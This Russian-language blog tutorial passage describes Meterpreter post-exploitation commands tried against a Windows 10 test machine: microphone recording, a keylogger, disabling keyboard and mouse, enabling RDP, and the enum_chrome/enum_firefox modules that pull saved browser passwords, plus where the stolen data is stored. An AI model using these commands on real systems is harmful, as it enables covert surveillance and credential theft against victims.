Не смогу показать, нет вебкамеры и вряд-ли теперь будет.

7. record_mic – записывает с микрофона, но у меня сразу же останавливает. Наверное, особенности Win10 и того, что не получилось ввести getsystem.

keyscan_start – включает кейлоггер

keyscan_dump – показывает, что напечатали

keyscan_stop – выключает кейлоггер

Ловит только английские буквы

ololoo, test keylogger

9. uictl [enable/disable] [keyboard/mouse/all] – должно включать/выключать клаву/мышь/и то и другое, но на Win10 не сработало. На Win7 работало.

Неинтересное закончилось, пора переходить к интересному:

Команды вида “run *что-то*”. Они уже более интересные. Тут уже нет порядка крутости, тут всё годно. Может быть, когда-нибудь, я проверю все команды и сделаю пост на пикабу. Прям такой “тру обзор”, но это не точно.

Чтобы посмотреть все доступные команды – пишем “run ” и жмём Таб два раза. Нас спросят “хотите ли вы вывести всё на экран?” а там 200+ позиций. Жмём “y”, потом пробел несколько раз, отмотав до конца и видим примерно это:

Всё я показывать не буду, там очень много. Пост не резиновый.

Ах да, иногда может писать, что скрипт не поддерживается в meterpreter. Это дубликаты другого скрипта, который там напишут.

1. run post/windows/manage/enable_rdp – должно включать rdp, но “insufficient privileges”, потому что getsystem не работает. Вероятно, в других Виндах заработает.

2. run post/windows/gather/enum_chrome и /enum_firefox – уносит данные из этих браузеров. В т.ч. и пароли. На этапе “Preferences” задумывается, но не зависает. Сохраняет в /root/.msf4/loot и удаляет при закрытии MSF.

Открыть можно через SQLite Database Browser, который есть в том же Кали, хоть это и текстовый документ. Надо только в программе выбрать “All files”.

Файлы Preference и Decrypted открываются в текстовом редакторе.

Про дубликаты: там есть “run enum_chrome”, но MSF пожалуется, что он недоступен в этой версии и скажет “юзайте run post/windows/gather/enum_chrome”. Если что-то не работает – читайте, что предлагает MSF.

голоса
Рейтинг статьи
Ссылка на основную публикацию
Статьи c упоминанием слов: